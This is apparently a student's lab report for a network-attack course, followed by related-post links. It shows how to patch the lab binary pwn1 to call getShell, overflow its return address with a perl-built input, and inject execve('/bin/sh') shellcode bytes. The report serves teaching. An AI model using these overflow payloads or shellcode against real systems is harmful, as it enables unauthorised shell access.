实验一 PC平台逆向破解

实验目的

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

相关内容机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实验步骤

(一)直接修改程序机器指令,改变程序执行流程

  • 创建文件夹20165234_exp1 ,将pwn1放入其中
  • 使用 objdump -d pwn1 将pwn1反汇编,得到以下代码

其中 80484b5: e8 d7 ff ff ff call <foo> 这条汇编指令,e8表示“ call ”,在main函数中调用位于地址  处的foo函数。

如果想函数调用getShell,只需要修改 d7 ff ff ff 即可。

根据foo函数与getShell地址的偏移量,用Windows计算器通过 47d-4ba 就能得到补码,可计算出应为 c3 ff ff ff 。

修改可执行文件的具体步骤

  • 输入命令  cp pwn1 pwn2 对pwn1中的内容进行拷贝至pwn2
  • 用 vi 打开pwn2,进入命令模式,输入: %!xxd 将显示模式切换为十六进制
  • 在底行模式输入 /d7 定位需要修改的地方,并确认
  • 进入插入模式,修改 d7 为 c3
  • 输入: %!xxd -r 将十六进制转换为原格式
  • 使用 :wq 保存并退出

在此我选择尝试另一种方式,即使用图形化的16进制编程器:

输入 apt-get install wxhexeditor , wxHexEditor 两个命令即可安装

通过此工具也查找到了要修改的内容,修改D7为C3,然后保存并退出

输入  objdump -d pwn2 | more  反汇编pwn2文件中的main函数,查看是否正确调用get shell函数

运行修改后的代码,可以得到shell提示符#。

修改成功,调用了getshell~

(二)通过构造输入参数,造成BOF攻击

1.确认输入字符串哪几个字符会覆盖到返回地址

  • 通过gdb命令,调试文件pwn1。
  • 输入  ,出现Segmentation Fault,说明缓冲区溢出。

通过 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555(0x35是ASCII码,代表十进制中的5)

说明刚输入的40个字符中,含有5的字符串溢出到了EIP中。

  • 输入字符串  ,结果发现1234这四个数最终会覆盖到堆栈上的返回地址

只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

2.确认用什么值来覆盖返回地址

由反汇编结果可知getShell的内存地址为:0x080484

确认字节序后,应该输入11111111222222223333333344444444\x7d\x84\x04\x08

3.构造输入字符串

  • 使用 perl 命令生成包括这样字符串的一个文件。其中 \x0a 表示回车。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 使用16进制查看指令xxd, 通过 xxd input 查看input文件的内容。
  • 将input输入通过管道符“|”作为输入,指令为 (cat input ) | ./pwn1 ,运行后就进入了getShell函数~

(三)注入Shellcode并执行

shellcode

shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

1.准备工作

首先使用 apt-get install execstack 命令安装 execstack 。

然后修改一些设置。

2.构造要注入的payload

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode、nop+shellcode+retaddr。

缓冲区小就用前一种方法,缓冲区大就用后一种方法。

这里我们选择前一种方法,即retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)

  • 执行以下指令:
perl -e 'print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'
> input_shellcode
  • 为了确定\x4\x3\x2\x1该填什么,首先打开一个终端,使用指令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf。
  • 再打开另外一个终端,使用指令 ps -ef | grep pwn1 查看pwn1这个进程,发现进程号为16262。

  • 接下来用gdb来调试pwn1这个进程。输入命令disassemble foo ,通过设置断点来查看注入buf的内存地址。
  • 使用 break *0x080484ae 设置断点,并输入 c 继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用 info r esp 查找地址。

x/16x 0xbffffd37c 查看其存放内容,看到了0x9080cd0b,就是返回地址的位置。

实验收获

通过本次实验,理解了缓冲区溢出攻击的具体原理,实际的操作中从程序内部函数的跳转到最后的shellcode注入一系列流程。由于我的基础较薄弱,对于汇编语言和Linux操作的知识并不是很熟悉,而此次实验让我熟悉了相关的知识,并为以后的实验打下了基础。通过查看老师的教程,上网查阅资料,参考同学的博客等方式,我还是较为顺利地完成了实验,并且充分了解了相关的原理。总体来说,我的收获很大~

什么是漏洞?

漏洞就是某种安全隐患,比如说操作系统、硬件、软件等等,其中多少会存在不同的安全隐患,而且可以被他人利用。

漏洞的危害小则影响个人,可能会造成个人隐私信息的泄露,乃至引起经济损失;

大则可以引起整个国家的严重损失,可能泄露国家秘密信息,危害国家安全。

2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. IP包头结构详解

    版本号(Version):长度4比特.标识目前采用的IP协议的版本号.一般的值为0100(IPv4),0110(IPv6) IP包头长度(Header Length):长度4比特.这个字段的作用是为了 ...

  2. random使用方法

    random.random() 没有参数,选择0到1之间的随机浮点数 random.uniform(a, b) 生成指定范围内的随机浮点数如果a.b哪个大那个小都没关系,生成的都是在小的与大的之间的随 ...

  3. 使用redis可能出现的问题

    1)缓存与数据库双写不一致 2)缓存雪崩 3)缓存穿透 由于缓存中不存在某个key,所有的请求都会落到数据库上,会对数据库造成很大压力,甚至崩溃 一个简单的方案是将不存在的数据也缓存起来(value值 ...

  4. PHP知识点记录

    笔记源自---PHP必须知道的300个问题 一.提高编程效率 1.echo中字符串用单引号包含起来会比用双引号快. 2.$row['id']的速度要比$row[id]快很多. 3.echo比print ...

  5. IIS日志分析工具

    发现一个强大的图形化IIS日志分析工具:Log Parser Studio. 安装 需要先安装Log Parser下载地址:http://www.microsoft.com/en-us/downloa ...

  6. Go语言中Loop的注意点

    Go语言和其他语言不一样,它只有一种循环方式,就是for语句 可以参考如下公式: for initialisation; condition; post{ //Do Something } 执行顺序 ...

  7. call(),apply(),bind()区别?

    每个函数都包含两个非继承而来的方法,apply()和call(),这两方法的用途都是在特定的作用域中调用函数,实际上等于设置函数数体内的this对象的值. apply()和call()第一个参数都一样 ...

  8. 为知笔记Linux版编译使用记录

    本文档长期不定时更新,根据使用情况进行反馈. 目录 编译 Error creating SSL context 无法输入中文 如何打包使用 桌面图标 Markdown Windows 版本差异 常用快 ...

  9. What Kind of Friends Are You? ZOJ 3960

    比赛的时候用vector交集做的...情况考虑的不全面  wrong到疯 赛后考虑全了情况....T了 果然 set_intersection  不能相信 嗯 不好意思 交集a了  第二个代码 求出来 ...

  10. Xilinx FPGA引脚txt文件导入excel中

    需求 为了把xilinx FPGA的官方引脚文件txt转成excel文件(实际官网中有对应的csv文件就是excel文件了...) xilinx FPGA引脚地址:https://china.xili ...